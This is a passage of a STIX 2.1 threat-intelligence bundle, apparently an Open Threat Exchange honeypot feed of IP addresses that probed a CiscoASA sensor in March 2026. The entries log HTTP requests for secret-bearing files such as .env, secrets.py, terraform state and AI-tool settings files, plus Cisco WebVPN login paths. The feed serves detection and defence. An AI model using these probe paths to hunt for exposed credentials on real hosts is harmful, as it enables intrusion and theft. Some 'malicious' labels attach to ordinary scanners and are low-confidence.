        "indicator--9fa1a45c-74b3-44b6-8291-cf53453e3425",
        "indicator--48f3cbea-93bd-4c9e-84ce-ba8501dd051e",
        "indicator--528d959e-23bc-4db2-a88f-db136a92ced0",
        "indicator--831e092c-7c87-4cf3-a3e6-af79130c293d",
        "indicator--8d6e3cf5-e693-4d88-8852-652b71454511",
        "indicator--91d6d891-f837-4d53-903c-a08d6e4b0b52",
        "indicator--258b4091-8c64-4cb6-9634-395f508293b9",
        "indicator--ed3d5336-c227-44c5-8a69-9588c7d4a916",
        "indicator--0a246e32-97f1-44d4-91ed-6782e97e8e57",
        "indicator--66e624f4-6148-44f5-8128-9fe1f00b956b",
        "indicator--b264a20d-3898-4ba6-befb-bd341d0869fb",
        "indicator--80245ad1-b035-4256-adb5-7662512a34df",
        "indicator--93470e2f-89cf-4a0e-b00c-6363d420002d",
        "indicator--12686d89-9843-4e05-9dc9-036294b22b66",
        "indicator--a3f7f145-e0c4-421a-8868-e2c527cafc66",
        "indicator--6edf90db-c1a0-4fae-aa3d-c00fc65e26d5",
        "indicator--d2c72d93-36a0-43e6-8c78-81a428fa8d78",
        "indicator--befa0b6c-c2b3-43e0-a781-39e2670561e6",
        "indicator--3d5b83eb-cefc-4117-b651-df402d07a7cc",
        "indicator--29a5f29d-5c34-4bc8-b3d5-4bc8892e822a",
        "indicator--65e250c4-f2e9-49b4-9960-9a25fd9e3d14",
        "indicator--4e0b32ef-f2aa-4aea-80ea-9d1c539f7ee1",
        "indicator--8dfee77e-4063-4ab7-9a72-097c4a1fdb8f",
        "indicator--fae96aa8-b8a5-4990-a7a8-d1ad24486f83",
        "indicator--44794649-1b17-4eed-89ce-4e574ae2dd8b",
        "indicator--1363ea7a-90ec-47a9-94e2-7e99b81999cc",
        "indicator--9958e8cf-111d-4a96-835f-3ffdf53d9424",
        "indicator--73f0407e-9189-4fe7-b485-a3bcbf8999bd",
        "indicator--4a6373a5-a163-42e7-a1d3-aed3211d422b",
        "indicator--d4d2d010-d546-4266-9634-71c46fecd6c8",
        "indicator--32cc76ad-90fd-4039-b719-0dd7f0573996",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--20d9917b-51c8-433c-b762-69c64ed6c85d",
        "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
        "indicator--5a2ad778-0541-48ec-bcc2-3a71269bef72",
        "indicator--7cff8493-4bc0-48c9-b3ed-ad2dc8b562ae",
        "indicator--124aaaeb-f8ca-42c7-902f-7a3bd227665c",
        "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
        "indicator--c6877959-f461-4748-bc7f-004bc68f8a76",
        "indicator--f7cc5953-92ff-4318-a043-cc0424e31f9f",
        "indicator--88dd206c-0548-43e5-979a-970f730a4c72",
        "indicator--e590ed59-8cea-4480-bfd8-6e237e6d84a2",
        "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
        "indicator--2d7e5c4b-1c15-4235-a75e-2538d83c9457",
        "indicator--76e66f53-3e3b-422b-9a46-bbeb501bd478",
        "indicator--3447c1e7-8680-43ed-8ba8-fe487aebaf37",
        "indicator--8c5027b4-c630-4930-8485-68164efc01a2",
        "indicator--c3d49551-f5e8-47a3-8aaf-7d6d4d69a79a",
        "indicator--cf83767f-f7aa-43b7-b025-79d50a57c8a2",
        "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
        "indicator--37cfd34b-e846-47fa-be06-b1a3327d7761",
        "indicator--a9bd2fe1-901a-45ac-90ca-a5e1dbc45bd2",
        "indicator--91f4d0d9-7a38-444a-8cb4-216f5ba94d12",
        "indicator--4bcda25e-1d8f-400f-a86a-057c1720cfb7",
        "indicator--2ce8e3d1-4d34-48c9-a43a-c68ea8f69eab",
        "indicator--79610107-5ccc-4b40-ac37-c3a4196e0464",
        "indicator--9d0470cd-b7cf-4095-8bd4-2f878e6e629e",
        "indicator--a9cf9965-0023-47b4-85ec-53fe7e45aff9",
        "indicator--9b6f6943-9bb4-46c0-ae66-20b8b2dafc7c",
        "indicator--a642f59c-6199-4199-b244-91d9790f9cc6",
        "indicator--b9e23aec-ff27-499a-b400-ec8f08085f93",
        "indicator--f42f9d03-fa53-494c-97e4-1c2797fe154d",
        "indicator--90899434-d377-4f45-9cb5-a4df23bf1e45",
        "indicator--358ecc60-6711-4ff0-8495-8cb2c792ee3d",
        "indicator--4323713b-3e65-4fe2-8fa7-03275d5fbd55",
        "indicator--1605e60d-63e1-4f8b-96d9-0b01cc414e46",
        "indicator--881d84c1-2ce6-4cdd-8bbc-c244b84ce0d2",
        "indicator--291fac0c-da64-417e-9683-10f5751fcff2",
        "indicator--484adf9d-b8ad-4dce-8793-d354390fd28d",
        "indicator--f7ad21ba-fcdc-4e4e-9a3a-874920ebfeb0",
        "indicator--d37c97bc-bf4f-4788-9330-a33183b069d0",
        "indicator--9de6679a-b550-4050-84ee-550928b91958",
        "indicator--dd5006ba-4a6f-4e09-b581-6d3b975108af",
        "indicator--40010417-2bd7-4c2f-8a8c-f722e1c9d3d2",
        "indicator--a9ece17f-28d1-4f51-bfeb-fca6209abe64",
        "indicator--bac03481-2d3b-41d6-bcde-1a37c8e3064f",
        "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
        "indicator--9336fd33-e34c-41ec-9d2a-b6c6c86eff4d",
        "indicator--1fd509e0-23ec-4248-99ce-6563e84a8b7a",
        "indicator--2498bc88-6f49-4306-b72e-a52b16ac536d",
        "indicator--f18807b8-4e22-4889-a390-0f770f7405cb",
        "indicator--dca530c7-c5e0-41d7-9609-6bc2f0f97044",
        "indicator--9c8082d5-6515-47ca-aa27-73451f3779f5",
        "indicator--f59930f8-fc93-4b71-a568-ab2e91cd143b",
        "indicator--c8e81118-13ae-4613-8f5c-9cf4e83be1c3",
        "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
        "indicator--e9a19e95-ef7b-483a-942b-7b373f9229d2",
        "indicator--193696cd-90ea-4b16-b9d5-ff87e5a0b843",
        "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
        "indicator--4cfbed3f-9213-4ff2-8772-f4306cb1f465",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--387d7240-fa32-48ee-86ae-ce79d2041486",
        "indicator--75ee340e-44fe-4e72-b59d-183413a4574b",
        "indicator--ed76baa2-726f-4f24-9f30-9f08eacd2784",
        "indicator--54e64d34-266e-466e-bcb5-68c057c7caff",
        "indicator--b64936ac-1907-4f41-bc5a-c3648fd17794",
        "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
        "indicator--8e2a7009-c4e9-4a33-b5b9-16691e563e2d",
        "indicator--5d109097-8b49-47f3-9284-f3b04fc7d110",
        "indicator--b31aa61e-a702-4aa5-ab4d-de4f4535c2ff",
        "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
        "indicator--f05308ba-132e-4bd3-8822-28e4e6512c5a",
        "indicator--abc8b59b-0eec-4ccf-b636-e91ba591ecb7",
        "indicator--6d7f6ef7-9354-4641-85c8-d53fe65d5cf1",
        "indicator--759aeac3-c83f-46fd-9aee-137f5f4f2fe3",
        "indicator--87b5a0c7-d754-45aa-9483-db2e5982818b",
        "indicator--bc4f5b24-6816-4972-adfa-239e54c3b124",
        "indicator--ae8d0337-8452-4f10-b1d1-adfe7246ee3c",
        "indicator--4711ed30-f829-4f0a-a240-af373b921835",
        "indicator--169df60b-4e0c-43c7-97e9-e93af1d39382",
        "indicator--3354585d-026f-475b-b1be-e4eac16cf16d",
        "indicator--caed9c02-8bee-4eef-b915-2ebd72c1ce83",
        "indicator--a15725f5-d869-4a41-bd75-0c276c7a6474",
        "indicator--decda0bc-85e1-44dc-9342-fb5c7ebfeca8",
        "indicator--d2e70dae-12fa-42a5-a60c-988b55ed675e",
        "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
        "indicator--36177c03-ce24-4f25-9c16-2ec3c2fc800d",
        "indicator--1da06069-e4e2-49eb-8076-a53f406bccb7",
        "indicator--8375d6c8-ee75-42f3-9e55-b3c738d6c553",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--fdd555ff-7c3c-4267-8835-d47c507e5645",
        "indicator--c95aa266-1cc4-4a0b-ba3a-2ca52f265177",
        "indicator--d8d33fa3-ecb9-4d63-98c5-ec2ff2219ded",
        "indicator--0b2b025a-d9a8-464c-9838-70744c8f802f",
        "indicator--48fed715-800e-4efe-9028-43f550e18bc2",
        "indicator--97ef4509-77d6-497c-b27d-50079eb00a84",
        "indicator--a3666c4d-cbc1-4b33-826c-68dcd05de579",
        "indicator--557a9973-34df-4983-a7e9-6f9a50fe8ef4",
        "indicator--bc5bbf24-5f58-48d5-8381-27b86a981d05",
        "indicator--59bcdde5-88cb-44bd-a377-a39b287de6c0",
        "indicator--79ed6a42-18fe-4092-ab60-1f71bcb9f6ac",
        "indicator--eb0021a8-89d3-4c28-9a16-8b739b77d44f",
        "indicator--2a20bc78-6612-437f-83b5-27397222b9d8",
        "indicator--f086974b-d31a-429c-8a6f-946a71533e29",
        "indicator--823ba1de-f7b7-4464-9591-515a1b61f52a",
        "indicator--27771f54-55d7-405e-ba89-37432a83ad4a",
        "indicator--f10f2768-f5b5-449d-a0cb-9a81934c22e4",
        "indicator--46fb3d34-342b-40d0-aceb-c87e5ce325b5",
        "indicator--3226854a-af16-4473-8524-32cf67381518",
        "indicator--557b410e-9e48-4b6d-9dea-0a0fd5f60e70",
        "indicator--223d229f-b153-4023-8caa-4f4a59ed5ef6",
        "indicator--9c2b88a2-e12d-45ea-ac63-cd12c91fb6ce",
        "indicator--f7231a6e-4718-4061-af82-a7d29afdcc7d",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--9e03acc9-69dc-4a21-b745-0ea9be6af68f",
        "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
        "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
        "indicator--902561dd-5c36-422d-a672-24c062d1af7d",
        "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
        "indicator--e4c9187a-d97f-4a16-a3c7-43142d47c545",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--1eebb600-ad7d-4b0f-b9b8-3cc845a2f9b5",
        "indicator--01e3708c-0a61-47a9-b8aa-e15fcc345e94",
        "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
        "indicator--141facaf-f792-49dc-8629-49b69e19cd78",
        "indicator--833c2cfb-d125-4cc0-b939-49c78df478bd",
        "indicator--d571b7a9-dfbe-4b8b-924d-3b0fb15990a7",
        "indicator--1d8e0c31-707f-4df2-bdfa-7208a7efd5b5",
        "indicator--3e4b1674-b8af-4986-84b0-7564b360ece8",
        "indicator--b4b6fe2e-88cf-4117-9fa5-da53a1b8a4bd",
        "indicator--bd179ef6-a226-445d-8f3f-567d86fe2f70",
        "indicator--d5468a36-62af-4741-8274-a33edc46341e",
        "indicator--2336d424-a131-46f2-a8d9-40e2498ee2b9",
        "indicator--99f24965-aee6-4095-88c7-ac0dcbb62ed0",
        "indicator--5d5bf8ed-4d50-4aab-a5a0-6d98066fc2e5",
        "indicator--e19e2a46-ea06-4a56-b25b-ef27b1d521a0",
        "indicator--38dd9249-d0a6-4370-8907-d693723161ee",
        "indicator--d42a4479-dfa5-4231-809c-5e7db5888397",
        "indicator--4108158e-9447-4204-82de-6d01a925d97f",
        "indicator--a6745b71-e4be-47f2-a656-a184de9ff48b",
        "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
        "indicator--92b101c8-f419-44f3-b7b2-587e2bf497ae",
        "indicator--15158c33-3a9b-449f-b6fe-dbcc70a5c6ab",
        "indicator--213ec726-fa41-43d0-b73f-f7bfea8d2b7a",
        "indicator--bf3e04ca-206e-4bd2-802c-59f06faa1185",
        "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
        "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
        "indicator--95847d69-379c-4375-8470-245812fa22ae",
        "indicator--e6133a72-2a57-4580-9d57-f5372fb64d2a",
        "indicator--c2942521-a967-4829-b003-73331af4a5a3",
        "indicator--22fa3e65-f089-4e05-9688-63986183ffd5",
        "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
        "indicator--fd805782-351e-4ca5-aca0-77cea2b3325b",
        "indicator--5e498064-19fc-4cf4-8214-fdba7d08e2f5",
        "indicator--c0951c3b-4fca-4b5d-812f-be4d1e8aadb4",
        "indicator--3846009e-e3e6-4c1f-afee-828a5098835a",
        "indicator--9758775f-0df4-424b-b038-26bfc6b9a5ac",
        "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--04274522-5976-4e2f-b515-50abad22e929",
        "indicator--71d370de-6945-4d07-bdbd-1a4762aedb27",
        "indicator--f5a86825-915b-4760-b8fc-56664080e540",
        "indicator--f998a3c5-79c0-4ea1-b4a3-1d6723773a38",
        "indicator--36d64754-476b-4f6e-b2fc-8f792dadc109",
        "indicator--7e3d1399-15e2-49f8-9605-ab7eb70fd03c",
        "indicator--af226ab2-641f-4681-bc01-a9d9cf97e5d7",
        "indicator--8008d310-191d-4ad6-ac1d-9623bd0fa539",
        "indicator--59d0d353-c324-4d20-9ee6-9332e45f8889",
        "indicator--1406f9b1-5c62-40f3-997e-a70ca6e808f9",
        "indicator--912590df-822f-4546-a140-af87c53cff20",
        "indicator--1d03f6e2-ff42-4140-a023-efe1dbf69a6b",
        "indicator--b2c21033-6eec-4b6e-8a28-374b09f2cbb4",
        "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
        "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
        "indicator--84f5e365-ca81-4520-b886-fe31ec484498",
        "indicator--96b37f52-fafc-424b-b1b2-4884cb917b98",
        "indicator--c0baf657-7467-4401-bcf0-7113ce258190",
        "indicator--5833ce65-ec21-4d2c-810d-c7846e78d0e6",
        "indicator--eaea4895-bb39-47a1-8f6f-206d20e14ed9",
        "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
        "indicator--0e003560-94dd-47e2-9ec3-1a405a7a3708",
        "indicator--e9cb47f7-961a-48d1-9929-200611358fc1",
        "indicator--0bf3aed2-203b-4a37-9dad-dbeeb3e5c17d",
        "indicator--58f3098e-0078-49e8-89fe-808f5fddbd0f",
        "indicator--e010f935-dff2-4c19-8c96-aaaf0cc215e6",
        "indicator--632ba932-be5f-477a-a741-dd5436ec2060",
        "indicator--b3e5c209-113c-408b-863e-be1b3e344bc4",
        "indicator--13f12100-1dfc-478f-93e0-b125c1d04a2c",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
        "indicator--acad17e3-fc90-4807-bd2a-f4052d3523f5",
        "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
        "indicator--9f1a48b4-a143-4367-a88c-2151e370128b",
        "indicator--c0c06948-ad31-4675-9d20-7cb966722989",
        "indicator--8d31c34b-fa65-4af1-a12d-3d1d389f1adb",
        "indicator--16ddb7cc-b6f8-44c1-9d3d-24156955398a",
        "indicator--13d1d2ab-9478-4847-b8e9-86b2c55d8a04",
        "indicator--99e9de8c-5ed2-4ed2-abb1-863269d14cca",
        "indicator--de57ef7b-9e43-4ae0-976c-3a803293c860"
      ],
      "published": "2026-03-01T01:20:06.701Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-03-01T01:20:06.701Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-03-01T01:20:06.701Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-03-01T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--6637a688-f9d0-406d-af67-7bd23d8c179c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '136.144.35.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:20:07.000Z",
      "valid_until": "2026-04-02T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 143,
          "first_seen": "2026-03-02T00:09:46.920Z",
          "last_seen": "2026-03-03T06:21:28.311Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e939ac4e-641e-4395-bfee-aead3897db3e",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.208.222.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:20:07.000Z",
      "valid_until": "2026-04-02T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FI; ASN 209702 (Soldatov Alexey Valerevich)",
      "id": "indicator--ec81762b-7cff-40b7-9519-bd40bb4e65af",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:20:07.000Z",
      "valid_until": "2026-04-02T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--49ee4130-2033-47d0-b56a-f3a817c7094c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.81.212.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:20:07.000Z",
      "valid_until": "2026-04-02T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T00:50:14.372Z",
          "last_seen": "2026-03-12T00:50:14.372Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--3f9bb0f1-69af-47ee-9736-6f39161e4fcf",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:20:06.000Z",
      "valid_until": "2026-04-02T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.env HTTP/1.1\" 404 - geo: NL; ASN 396982 (Google LLC)",
      "id": "indicator--27b3f278-db57-47cd-a056-39842c1ef1a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.158.168.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:20:06.000Z",
      "valid_until": "2026-04-02T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T02:33:52.381Z",
          "last_seen": "2026-03-02T02:34:20.637Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T04:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--bc4d559c-b41a-4f98-b6ce-91b3aff3d5d0",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:20:01.000Z",
      "valid_until": "2026-04-02T04:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T04:20:01.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:20:01.000Z",
      "valid_until": "2026-04-02T04:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--4ab8b129-5e64-4eb3-aa2b-eddf823da1b9",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:20:13.000Z",
      "valid_until": "2026-04-02T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.cursorrules HTTP/1.0\" 404 - geo: GB; ASN 20860 (Iomart Cloud Services Limited)",
      "id": "indicator--4768e658-2c4c-4294-ad7d-3feb824d4350",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '81.168.83.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:20:13.000Z",
      "valid_until": "2026-04-02T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 23,
          "first_seen": "2026-03-02T08:38:23.129Z",
          "last_seen": "2026-03-19T20:48:10.321Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 20860,
          "as_org": "Iomart Cloud Services Limited",
          "event_types": [
            "\"GET /debug.log HTTP/1.0\" 404 -",
            "\"GET /docker-compose.yml HTTP/1.0\" 404 -",
            "\"GET /secrets.py HTTP/1.0\" 404 -",
            "\"GET /terraform.tfstate.backup HTTP/1.0\" 404 -",
            "\"GET /.aider.chat.history.md HTTP/1.0\" 404 -",
            "\"GET /.aider.conf.yml HTTP/1.0\" 404 -",
            "\"GET /.claude/settings.json HTTP/1.0\" 404 -",
            "\"GET /.clawdbot/moltbot.json HTTP/1.0\" 404 -",
            "\"GET /.cursorrules HTTP/1.0\" 404 -",
            "\"GET /.env.dev HTTP/1.0\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:20:11.000Z",
      "valid_until": "2026-04-02T07:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 38,
          "first_seen": "2026-03-02T07:28:43.657Z",
          "last_seen": "2026-03-16T03:03:32.881Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET //admin/config.php HTTP/1.1\" 404 -",
            "\"GET //_asterisk/Do.php HTTP/1.1\" 404 -",
            "\"GET //about.php HTTP/1.1\" 404 -",
            "\"GET //assets/Do.php HTTP/1.1\" 404 -",
            "\"GET //recordings/Do.php HTTP/1.1\" 404 -",
            "\"GET //vtigercrm/Do.php HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T09:20:12.000Z",
